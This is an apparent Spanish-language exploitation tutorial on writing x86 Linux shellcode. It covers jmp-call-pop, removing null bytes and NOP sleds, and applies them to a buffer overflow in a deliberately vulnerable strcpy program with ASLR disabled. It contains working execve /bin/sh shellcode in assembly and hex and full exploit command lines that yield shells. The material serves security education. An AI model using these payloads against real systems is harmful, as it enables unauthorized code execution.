Minicurso de exploiting (parte 10): Shellcodes y técnicas de programación de shellcodes 1

En la última entrada, después de mucho lío, vimos cómo explotar un bof e inyectar código en el proceso para posteriormente ejecutarlo, consiguiendo que el programa dejara de hacer lo que se suponía debía hacer para hacer lo que nosotros queríamos que hiciera. En el caso que mostré ejecutamos una calculadora, algo divertido pero poco útil. En esta entrada veremos que es lo más común que se suele ejecutar cuando se explota un bof (una shellcode) y cómo hacerlas.

Lo primero es saber qué es una shellcode, como el propio nombre indica una shellcode es básicamente un pequeño programa que ejecuta una shell. El ejemplo más típico es el siguiente:

#include <unistd.h>

int main(int argc, char *argv[]) {
    char *args[2] = { "/bin/bash", NULL };
    execve(args[0], args, NULL);
}

Algo tan simple como eso ya nos da una shell. Aun así no nos vale crear este programa e inyectarlo, como vimos en la entrada anterior sólo nos interesan los bytes que corresponden a las instrucciones que hacen la llamada a la shell. También vimos que no siempre se puede inyectar cualquier cosa, hay ciertas características que se deben cumplir para que la shellcode pueda ser inyectada, como por ejemplo que no tenga bytes nulos, pero esto no es lo único. He aquí una serie de restricciones y características que la shellcode debería cumplir.

1. No contener bytes nulos.
2. No contener saltos de línea.
3. Ser "relocatable".
4. Poner bytes nulos al final de las strings.
5. No hacer uso de bibliotecas.
6. Ser lo más pequeña posible.
7. Nopsleds.

Veamos ahora más detenidamente qué significa cada uno de estos puntos y cómo aplicarlos a una shellcode de verdad.

No contener bytes nulos

El motivo de esta restricción ya lo vimos en la entrada anterior. Funciones como strcpy() o strcat(), susceptibles a bof, sólo copian hasta el primer byte nulo que encuentren. Si nuestra shellcode llevara bytes nulos sólo se inyectarían los bytes de la shellcode que estén antes que el primero de estos bytes nulos y por lo tanto se quedaría incompleta. Para evitar la introducción de estos bytes hay que analizar la shellcode una vez programada y jugar con ella para quitarlos. Es un proceso bastante artístico aunque debido a que las shellcodes en general suelen ser reducidas, resulta bastante fácil atacar este problema. En general sólo necesitamos poner registros a cero o poner algún byte a cero en alguna parte de la memoria. Para poner registros a cero podemos usar el truco de "xorear" el registro consigo mismo. Y para poner algún cero en cierta parte de la memoria, en vez de poner una instrucción que hace uso del literal $0x0, podemos xorear un registro y luego mover su contenido, o poner en un registro un número, luego restar ese mismo número y luego mover a memoria. En definitiva, hay muchas formas de lograrlo.

No contener saltos de línea

Esta restricción es igual que la de los bytes nulos pero si la función que se va a explotar es gets(). Esta función no se detiene con el byte nulo sino con el salto de línea o un EOF. En UNIX el salto de línea es sólo '\n' = \xa, en Windows es '\r\n' = \xd\xa, y en MacOS es '\r' = \xd. Ojito con el sistema que estés explotando. Al igual que en el caso anterior, tendremos que analizar los bytes de la shellcode y eliminar la secuencia de salto de línea allí donde se dé (si es que se da).

Ser "relocatable"

Esto ya es más interesante, como vimos en la entrada anterior la shellcode es inyectada en una zona de memoria que en principio no conocemos y recurrimos al GDB para mirar las direcciones donde iba cayendo para sustituir en el código de la shellcode todas aquellas referencias a memoria (que marcabamos en principio con \xeeeeeeee y \xdddddddd) por las direcciones necesarias. Sobra decir que eso es algo muy feo y poco práctico. Para empezar es un coñazo estar teniendo que entrar siempre al GDB y hacer cálculos de dónde cae cada cosa de la shellcode. Por otro lado eso es algo nada práctico puesto que podría ocurrir (y ocurrirá) que las direcciones de memoria donde caiga la shellcode no sean las mismas dentro de gdb que fuera. Se hace necesario pues, una técnica para hacer que caiga donde caiga la shellcode, pueda seguir haciendo su trabajo.

Para este cometido existe un truco muy conocido y que a mi me encanta, no es complicado, funciona para cualquier dirección de memoria y me parece muy elegante (¡el que lo inventó es un artista!). Se trata de hacer un jmp-call-pop, veámoslo in situ.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx
    /* Resto del codigo. */

trick:
    call shellcode

.string "/bin/sh"

Aquí tenemos lo que podría ser el esqueleto de nuestra primera shellcode con el truco del jmp-call-pop. Cuando este código empiece, lo primero que se hará será ejecutar el jmp que redigirá el flujo al call (al final del código y justo antes de los datos). A su vez el call volverá a redirigir el flujo de ejecución arriba a la siguiente instrucción al jmp, el pop. Recordemos que una de las cosas que hace call además de cambiar el EIP es pushear a la pila la dirección de retorno. ¿Cuál sería la dirección de retorno en este caso?, pues la de la siguiente instrucción al call, la instrucción que se formará con los primeros bytes de la cadena "/bin/sh". Nos da igual cual sea, pero luego sacaremos de la pila con el pop y conseguiremos que el registro EBX apunte a "/bin/sh" :).

A partir de este punto ya no hay necesidad de que el código haga referencias directas a los datos, sino hacer referencias indirectas en base al registro EBX. Completemos esta shellcode.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx

    xorl %ecx, %ecx
    xorl %edx, %edx
    movb $0xb, %al
    int $0x80

trick:
    call shellcode

.string "/bin/sh"

No tiene ningún misterio, compilamos y ejecutamos para confirmar su funcionamiento.

$ gcc -o shellcode1 shellcode1.s 

$ ./shellcode1 

$ env
PWD=/path

$ exit
exit

$

Hasta aquí todo bien, vemos que la shellcode funciona como programa en sí mismo, pero ahora tenemos que coger sólo los bytes que nos interesa inyectar, no todo el binario como hemos explicado anteriormente.

$ objdump -d shellcode1 | egrep -A17 "<main>"
080483b4 <main>:
 80483b4:    eb 0b                    jmp    80483c1 <trick>

080483b6 <shellcode>:
 80483b6:    5b                       pop    %ebx
 80483b7:    31 c9                    xor    %ecx,%ecx
 80483b9:    31 d2                    xor    %edx,%edx
 80483bb:    31 f6                    xor    %esi,%esi
 80483bd:    b0 0b                    mov    $0xb,%al
 80483bf:    cd 80                    int    $0x80

080483c1 <trick>:
 80483c1:    e8 f0 ff ff ff           call   80483b6 <shellcode>
 80483c6:    2f                       das  
 80483c7:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483ca:    2f                       das  
 80483cb:    73 68                    jae    8048435 <__libc_csu_init+0x65>
 80483cd:    00 90 90 55 57 56        add    %dl,0x56575590(%eax)

En negrita están los bytes que pertenecen a la shellcode. Un detalle que quiero resaltar de lo que aquí se ve es la codificación de los saltos que ha usado GCC. Fijémonos por ejemplo en el jmp del principio, \xeb\x0b. No vamos a desglosarlo a nivel de bits porque nos llevaría bastante tiempo. Asumamos que el byte \xeb es el opcode de x86 para un salto incondicional (esto no es verdad, todos los bits que ahí se encuentran significan mucho más), el byte \x0b viene a ser "la cantidad de bytes a desplazarse a partir de la siguiente instrucción". Así pues, si contamos a partir del byte \x5b de la siguiente instrucción 11 bytes, veremos que acabamos en el byte \xe8 que es el comienzo de la instrucción call. ¿Y para qué todo esto?. En este caso GCC ha usado un direccionamiento relativo para codificar los saltos (también con el call, vemos que usa un número negativo 0xfffffff0), pero esto no tiene por qué ser así siempre. En x86 también se puede codificar los saltos con direccionamiento directo, hardcodeando en la instrucción la dirección a saltar. Cuidado con como se comporta el compilador que estemos usando, comprobemos esto después de compilar las shellcodes.

Poner bytes nulos al final de las strings

En general nuestras shellcodes utilizarán algunas strings, en el caso que estamos viendo tenemos "/bin/sh", pero ¿qué pasa si queremos utilizar más strings?. Vamos a irlo explicando con un ejemplo.

Imaginemos que queremos pasarle parámetros a la shell, en concreto "-c "echo hola"", para que simplemente ejecute ese comando y termine. Para ello necesitamos que el registro ECX contenga el vector con las strings de los parámetros... hablando en C esto significa que ECX debe contener un puntero que apunta a un vector de punteros a strings... lioso, veamos el gráfico para aclararlo.

Esta es la estructura que deberá haber a partir de ECX (el puntero a los parámetros de la llamada al sistema sys_execve) para la correcta ejecucción. No nos olvidemos que el primer parámetro es el propio nombre del programa y que este vector debe terminar con un puntero nulo debido a que sys_execve no tiene un parámetro para indicar el tamaño de éste. Por desgracia estos datos no pueden ir tal cual en la shellcode, ya que las strings deben terminar con el byte nulo y nosotros no podemos poner este byte.

En este caso lo que se hace es poner otro byte y meter lógica adicional en la shellcode para que antes de llamar a sys_execve, se pongan en esos bytes un nulo. Veámoslo en la práctica.

USE32

main:
    jmp trick
shellcode:
    ; Prepara EBX, EDX y ESI
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Mueve a XXXX la direccion de /bin/sh
    mov edi, ebx
    mov ecx, edi
    add cl, 21
    mov [ecx], edi

    ; Pone un byte nulo en A
    add edi, 7
    mov [edi], dl

    ; Mueve a YYYY la direccion de -c
    inc edi
    mov [ecx+0x4], edi

    ; Pone un byte nulo en B
    add edi, 2
    mov [edi], dl

    ; Mueve a ZZZZ la direccion de echo hola
    inc edi
    mov [ecx+0x8], edi

    ; Pone byte nulo en C
    add edi, 9
    mov [edi], dl

    ; Pone a nulo los bytes con 0000
    mov [ecx+0xc], edx

    ; sys_execve
    mov al, 0xb   
    int 0x80

trick:
    call shellcode

db "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000"

¡Hey, ¿qué es todo esto?!. No pasa nada, como llegados a este punto hemos hecho los deberes, y dado que ya vimos en cierto momento algo de las diferencias entre la sintaxis AT&T e Intel, pues entendemos esto perfectamente }:-).

El cambio este se debe a que voy a usar otro programa para la compilación y así de paso vamos haciendo ciertas tareas más fáciles. Lo que aquí presento no es más que la shellcode de antes, pero con los trucos y técnicas que hemos ido viendo. Vemos que tiene el jmp-call-pop para la "relocatabilidad". Al final vemos que los datos son "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000". La lógica del programa aunque algo extensa, no es complicada. A saber, el vector con las direcciones a strings sera la zona de memoria que contiene "XXXXYYYYZZZZ0000", dado que estoy en una máquina de 32 bits, las direcciones serán de 32 bits (4 bytes) así que XXXX será una, YYYY otra y ZZZZ otra, respectivamente serán la dirección a "/bin/sh", "-c" y "echo hola". He puesto comentarios en el código para que se pueda seguir con relativa facilidad. Dejo al lector la tarea de comprender "byte a byte" el programa.

Este programa no lo compilare con GCC y no lo voy a ejecutar, ya que va a producir una violación de segmento, ¿por qué? porque todo eso estará contenido en zona de código (.text), incluida toda la string del final. Como ya sabemos esa zona de memoria no tiene permisos de escritura. Este programa intentará escribir en A, B, C, XXXX, YYYY, ZZZZ y 0000, pero no podrá.

La cosa se complica a la hora de depurar shellcodes, puede ser un trabajo pesado así que en su momento me programé un pequeño programa para hacer algo más fácil esta tarea (seguramente hay programas mejores para hacer estas cosas, pero yo no los conozco). Se trata de un pequeño programa que lee los bytes de la shellcode de un fichero, los pone en el heap (tiene todos los permisos) y luego salta allí. Este es el programa.

/*
 * Program for debug shellcodes.
 *
 * Author: Ole.
 */

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define    N_PARMS    (2)
#define    ERRCODE    (0x01ec0ded)

int main(int argc, char *argv[]) {
    int fd, remaining_bytes, offset;
    struct stat shell_stat;
    off_t len_shellcode;
    void *(*shellcode)();
    ssize_t bytes_read;

    if (argc != N_PARMS)
        fprintf(stderr, "Usage: %s <shellcode>\n", argv[0]), exit(ERRCODE);

    if (stat(argv[1], &shell_stat) == -1)
        fprintf(stderr, "Error stat().\n"), exit(ERRCODE);

    len_shellcode = shell_stat.st_size;
    if ((shellcode = malloc(len_shellcode + 1)) == NULL)
        fprintf(stderr, "Error malloc().\n"), exit(ERRCODE);
    memset(shellcode, 0, len_shellcode + 1);

    if ((fd = open(argv[1], O_RDONLY)) == -1)
        fprintf(stderr, "Error open().\n"), exit(ERRCODE);

    remaining_bytes = len_shellcode;
    offset = 0;
    bytes_read = read(fd, ((char *)shellcode) + offset, remaining_bytes);
    while (bytes_read != -1 && bytes_read != 0) {
        remaining_bytes -= bytes_read;
        offset += bytes_read;
        bytes_read = read(fd, (char *)shellcode + offset, remaining_bytes);
    }

    close(fd);
    if (bytes_read == -1)
        fprintf(stderr, "Error read().\n"), exit(ERRCODE);

    shellcode();
    return 0;
}

No me voy a parar aquí a analizarlo (aunque si te pones seguro que no te cuesta mucho entenderlo), el código lo puedes descargar de aquí.

El fichero que se le pasa no debe ser un ejecutable (no vale el programa producido por GCC), sino que debe ser estrictamente los bytes que componen nuestra shellcode. Es por ello que ahora he escrito la shellcode para nasm (netwide assembler), otro compilador muy útil para escribir shellcodes. Por defecto nasm produce un fichero que contiene solamente los bytes de nuestra shellcode :). Veámoslo un poco por las tripas.

$ nasm shellcode1.asm -o shellcode1nasm 

$ hexdump -C shellcode1nasm
00000000  eb 2e 5b 31 c0 31 d2 31  f6 89 df 89 f9 80 c1 15  |..[1.1.1........|
00000010  89 39 83 c7 07 88 17 47  89 79 04 83 c7 02 88 17  |.9.....G.y......|
00000020  47 89 79 08 83 c7 09 88  17 89 51 0c b0 0b cd 80  |G.y.......Q.....|
00000030  e8 cd ff ff ff 2f 62 69  6e 2f 73 68 41 2d 63 42  |...../bin/shA-cB|
00000040  65 63 68 6f 20 68 6f 6c  61 43 58 58 58 58 59 59  |echo holaCXXXXYY|
00000050  59 59 5a 5a 5a 5a 30 30  30 30                    |YYZZZZ0000|
0000005a

Podemos ver gracias a hexdump que efectivamente lo producido son los bytes de nuestra shellcode. Usando ahora el programa que comenté antes vamos a ejecutar esta shellcode.

$ ./shellcodes-dbg shellcode1nasm
hola

Y efectivamente vemos que obtenemos lo que esperábamos. Comentar también que la mayor utilidad del programa que he presentado es para ejecutarlo desde dentro del gdb y poder seguir instrucción a instrucción lo que está haciendo nuestra shellcode.

No hacer uso de bibliotecas

El motivo de esta restricción ya la hemos comentado, estamos inyectando la shellcode en un entorno desconocido (el mapa de memoria de otro proceso). Por lo tanto no sabemos qué bibliotecas están enlazadas al proceso en ese momento y por lo tanto no debemos hacer uso de funciones a las que estamos muy constumbrados como printf().

Aun así ya veremos más adelante (para bypassear exec-shield) que esto no siempre es verdad, y que a veces sí podemos aprovecharnos de bibliotecas externas, aunque por ahora no lo haremos y en general debemos tener cuidado con esto. Hay que ser consciente del entorno donde estamos, el limbo de las shellcodes, un mapa de memoria desconocido y hostil.

Pero esto no es problema, las funciones de biblioteca realmente interesantes acaban siendo wrappers a llamadas al sistema, así que simplemente tenemos que llamar nosotros directamente. Esto ya lo hemos estado haciendo, hemos llamado a sys_execve todo este tiempo. El problema de esto es que tendremos que conocer las llamadas al sistema, pero eso sólo hace de toda esta disciplina algo más interesante :).

Ser lo más pequeña posible

Podríamos desarrollar shellcodes con montón de funcionalidades, pero todo eso es lógica adicional y por lo tanto bytes adicionales. Los buffers a explotar no tienen por qué ser grandes. Si la distancia entre el comienzo de ese buffer y la dirección de retorno a sobreescribir es menor que el tamaño de nuestra shellcode no podremos explotar el bof correctamente, ya que parte de nuestro código acabará en la dirección de retorno. Por ello es interesante desarrollar shellcodes pequeñas, que quepan en el menor espacio posible, de forma que nos permitan explotar bofs con bufferes (¿bufferes debería llevar tilde?) muy pequeños.

Para dotar de más funcionalidad a nuestra shellcodes podemos utilizar (que a mi se me ocurra) una shellcode en "dos tiempos", como el grub. Primero un código muy simple que explota el bof y toma el control y que luego carga el resto del código (se lo pide a la máquina que ha realizado la explotación). No lo sé porque no lo he analizado por dentro, pero seguramente meterpreter (metasploit interpreter) haga algo así.

Nopsleds

Antes de presentar esta técnica/solución voy a presentar el problema al que ayuda, ya que hasta ahora no lo hemos visto. En la entrada anterior ejecutamos la shellcode (la calculadora) desde el GDB, en ningún momento llegue a hacerlo desde el exterior. Vamos ahora a hacerlo. Recordemos el entorno.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Bof de libro, se sobreescribe la dirección de retorno desde los 140 bytes compilando con los flag -fno-stack-protector -zexecstack para quitar las protecciones.

Vamos ahora a usar una shellcode usando todo lo que hemos aprendido hasta ahora.

USE32

main:
    jmp trick
shellcode:
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Poner \0 en el primer 0
    mov [ebx+0x7], dl

    ; Poner 0x00000000 en los 0000 finales
    mov [ebx+0xc], edx

    ; Poner direccion de /bin/sh en XXXX
    mov ecx, ebx
    add ecx, 0x8
    mov [ecx], ebx

    ; sys_execve
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/sh0XXXX0000"

Ahora desde el GDB vamos a hacer la explotación, voy a hacerlo rápido ya que conozco muchos detalles de este programa ya (0xbfffff290, la shellcode pesa 47 bytes).

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) r "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Starting program: /path/bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
process 14556 is executing new program: /bin/dash
$ whoami
ole
$ exit
[Inferior 1 (process 14556) exited normally]

Sé que el comando (en negrita) ese puede resultar algo esotérico, pero mi recomendación es hacerlo así. A veces podemos tener un problema a la hora de pasar nuestra shellcode a través de parámetros y es que, si contiene bytes que bash considera "separadores de palabras" (espacios, tabulaciones, saltos de línea), nos la puede jugar y hacernos bastante difícil la depuración del problema. La forma en la que aquí hago para que bash considere todo una única string es encerrarlo todo entre comillas dobles... hay algo que me resulta curioso, no me ha hecho falta escapar las comillas dobles que uso para las Aes y la dirección de retorno... Pues eso, que cuidado con lo que escribimos, asegúrate de entenderlo todo, o lo que es lo mismo, de ser consciente de que no lo entiendes todo y que si tienes problemas pueden venir de cualquier lado.

Volviendo a la ejecución, hemos visto que efectivamente se ha ejecutado una consola (/bin/sh es un enlace simbólico a /bin/dash en este caso). Sin embargo si probamos lo mismo fuera del GDB (como sería un escenario más normal) no tendremos éxito.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Segmentation fault (core dumped)

Y después de un montón de lío, llegamos al problema que intenta solucionar los nopsleds (lo siento, pero había que introducirlo para entenderlo). Este segmentation fault se debe a que el buffer ha cambiado de dirección, ya no está en 0xbffff290. Para demostrarlo vamos a hacer una pequeña modificación al programa con bof para que muestre la dirección del buffer.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    printf("Buffer addr: %p\n", buffer);

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Compilamos y ejecutamos unas cuantas veces.

$ gcc -fno-stack-protector -zexecstack -o bof2 bof2.c  
$ ./bof2
Buffer addr: 0xbfd5a810
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfaf8040
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfeed690
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfd57220
Usage: ./bof2 <param>

Como vemos, la dirección de buffer está cayendo cada vez en direcciones distintas, y lo que es peor, direcciones bastante alejadas entre sí. Esto es debido a que tenemos activo ASLR (Address Space Layout Randomization), el cometido de esta técnica es aleatorizar las regiones de memoria de los procesos de forma que en cada ejecución estén en direcciones distintas, precisamente para dificultar la explotación de bofs. Ya veremos más adelante técnicas para bypassear ASLR (¡que guay!), pero por ahora sólo vamos a desactivarlo.

$ sudo sysctl -w kernel.randomize_va_space=0

Dentro de GDB no hay ASLR, por eso nunca nos variaba la dirección del buffer (0xbffff290). Probemos ahora a volver a ejecutar el programa.

$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>

Aquí quiero hacer notar dos cosas. La primera y más obvia es que el buffer ahora está siempre en la misma dirección ya que no hay ASLR. La segunda, también bastante obvia, es que el buffer no está en la misma dirección que dentro de GDB. Cuando explotamos un bof dentro del GDB luego hay que averiguar dónde está el buffer sin GDB de por medio. En este caso ya lo sabemos porque tenemos el código fuente del programa y lo hemos podido modificar, pero esto no siempre es así.

Esto puede ser un dolor de cabeza sobre todo si no podemos depurar el programa y tenemos que empezar a probar direcciones a lo bruto, ya que para que nuestra shellcode funcione tenemos que saltar exactamente a la dirección donde se encuentra el buffer. Para colmo esta dirección no va a ser siempre la misma en diferentes ejecuciones, puede variar y esto es otro problema más. La posición del buffer a explotar dependerá de cuánta información haya en la pila antes de la ejecución de la función que contiene el buffer a explotar. En este caso es un entorno muy controlado, main(), pero imaginate la situación si hubiera recursividad dependiente de un parámetro que nosotros no controlamos. Averiguar la dirección exacta del buffer podría llegar a ser un sufrimiento. La dirección del buffer también depende entre otras cosas, de los parámetros de main(), recordemos que como a cualquier otra función, main() tiene sus parámetros antes de la dirección de retorno, del saved ebp y del espacio dedicado a variables locales. Veámoslo.

$ ./bof2 "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x80\xf3\xff\xbf"'`"
Buffer addr: 0xbffff2e0
Segmentation fault (core dumped)

Pensar que sobreescribiendo la dirección de retorno por la dirección que vimos antes ya ejecutaríamos la shellcode no es correcto, ya que ahora el buffer está en 0xbfffff2e0. Esto es debido a que antes no pasamos argumentos al programa y ahora sí y además uno bastante grande. Evidentemente ahora sí conocemos la dirección a saltar.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\xe0\xf2\xff\xbf"'`"
$ whoami
ole
$ exit

Ahora sí hemos conseguido ejecutar la shellcode desde el exterior, pero claro, conociamos la dirección del buffer y hemos pasado en ambos casos el mismo tamaño de parámetros. Una de las cosas que hay que hacer notar es que incluso el nombre del programa influye en la posición del buffer. Recordemos que uno de los parámetros que se le pasa a main es argv, en cuya primera posición está el nombre del programa. Esto significa que si ejecutaramos el mismo programa pero llamándolo "programa_con_nombre_muy_largo" en vez de "bof", también influiría en la posición del buffer.

Pero no todo son malas noticias. Muchas veces la posición no varia tanto, unos cuantos bytes digamos (como ha sido el caso anterior, 0xbffff380 - 0xbffff2e0 = 160 bytes). En estos casos podemos aprovecharnos de la técnica de rellenar el comienzo del buffer con un nopsled y poner al final nuestra shellcode. Básicamente de lo que se trata es de poner un montón de instrucciones nop al comienzo del buffer, luego aunque no conozcamos la posición exacta del comienzo del mismo, si conocemos más o menos por donde cae pues saltamos por ahí y probamos suerte. Si caemos en medio del nopsled empezarán a ejecutarse nops hasta llegar a la shellcode real. Esta técnica básicamente es poner un "colchón" delante de la shellcode y "saltar por ahí más o menos". Veámoslo desde dentro.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) r "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"
Starting program: /path/bof "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"

Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff561    0x00000001    0xb7ebc1f9
0xbffff290:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2e0:    0x90909090    0x90909090    0x90909090    0x5b18eb90
0xbffff2f0:    0xd231c031    0x5388f631    0x0c538907    0xc183d989
0xbffff300:    0xb0198908    0xe880cd0b    0xffffffe3    0x6e69622f
0xbffff310:    0x3068732f    0x58585858    0x30303030    0xbffff2e0

Vemos que hay un montón de bytes \x90 (instrucción nop en x86) al principio del buffer. Podríamos saltar a cualquiera de ellos y simplemente se empezarían a ejecutar uno detrás de otro sin hacer nada hasta llegar al byte \xeb del jmp, donde realmente comienza el trabajo. Un detalle, esto que he puesto es lo que realmente ejecuté mientras escribía esta parte de la entrada. No me di cuenta y no sustituí la dirección de retorno a sobreescribir, dejando la de los ejemplos anteriores (0xbffff2e0) a pesar de que ahora el buffer está en otro lado (0xbffff290), pero precisamente gracias al nopsled la explotación será exitosa :).

(gdb) cont
Continuing.
process 3311 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$ exit
[Inferior 1 (process 3311) exited normally]

Siento que la explicación de este último apartado haya sido tan larga pero como ya he dicho anteriormente, quiero analizar hasta el último detalle y eso implica conocer los problemas y probarlos de verdad.

Bueno, ésta ha sido una entrada realmente larga y con un montón de conceptos a masticar con mucha tranquilidad, pero creo que podemos sacar bastantes cosas de provecho. Para empezar ya estamos empezando a explotar un bof (sin protecciones) sin el GDB. Además ahora tenemos un pequeño repertorio de shellcodes, ¿no? :).

Saludos.